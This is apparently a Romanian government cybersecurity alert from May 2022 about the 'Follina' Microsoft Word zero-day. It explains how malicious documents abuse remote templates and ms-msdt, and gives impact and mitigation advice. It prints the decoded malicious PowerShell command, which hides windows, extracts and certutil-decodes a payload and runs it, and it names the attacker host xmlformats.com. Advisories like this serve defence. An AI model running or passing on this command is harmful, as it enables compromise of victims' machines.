DIRECTORATUL NAȚIONAL
DE SECURITATE CIBERNETICĂ

ALERTĂ
30.05.2022

UNCLASSIFIED / NECLASIFICAT

O nouă vulneraiblitate zero-day în Microsoft Word

Recent, un cercetător în domeniul securității cibernetice a descoperit o vulnerabilitate de tip zero-day în Microsoft Word, numită „Follina”. Este vorba despre nou exploit în macrocomenzile Office care ar permite încărcarea fișierelor șablon externe care conțin cod rău intenționat, chiar și în cazul în care macrocomenzile sunt dezactivate.

Descriere

Atacatorii s-ar putea folosi de funcționalitatea Word de a livra utilziatorilor aceste template-uri, cu scopul de a descărca un fisier HTML de pe un webserver remote, care apoi foloseste utilitarul de suport Microsoft *ms-msdt* (Microsoft Support Diagnostic Tool) pentru a încărca cod și a executa comenzi Powershell. Atunci când un utilizator convertește documentul în format RTF, codul este executat și în cazul opțiunii „Vizualizare protejată” sau „Modul de previzualizare”. Deja pe VirusTotal 23 de soluții de securitate marchează fișierul Word descoperit, ca fiind o variantă de malware de tip troian:

https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection

Comanda decodată executată pe echipamentul de pe care se accesează documentul malițios:

$cmd = "c:\windows\system32\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users \public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F: .&&rgb.exe";*

Odată executat, programul descarcă un fisier HTML de pe xmlformats.com, care apoi folosește *ms-msdt* pentru a livra fișierele executabile malițioase. Aceste fișiere se execută pe echipament și duc la compromiterea totală a acestuia. Detalii: https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

Impact

Acest tip de exploit este unul greu de detectat deoarece aplicația Word descarcă codul malițios de pe webserver ca remote template, așadar în fișierul Word practic nu există inițial conținut malițios.

Se pare că acestă vulnerabilitate există în produsele **Office 2013** și **2016**, însă cercetătorul Didler Stevens a reușit exploatarea ei pe ultima versiune disponibilă de **Micosoft Office 2021**, ce rula într-un Sandbox cu sistem de operare Windows 10 Pro.

Remediere

La momentul scrierii acestei alerte, nu este disponibilă nicio actualizare pentru a remedia vulnerabilitatea. Cu toate acestea, aceasta poate fi detectată prin intermediul unui *query* publicat pe GitHub.

De aceea, subliniem încă o dată importanța vigilenței în mediul online și recomandăm deschiderea fișierelor de tip Office numai din surse cunoscute și/sau de încredere. În plus, nu convertiți fișierele Office în format RTF, atunci când vi se solicită acest lucru.

Surse

NCSC-NL

VirusTotal

Kevin Beaumont – Twitter

App.Any.Run

alerts@dnsc.ro

Telefon 1911

#DNSC #alert #cybersecurity #awareness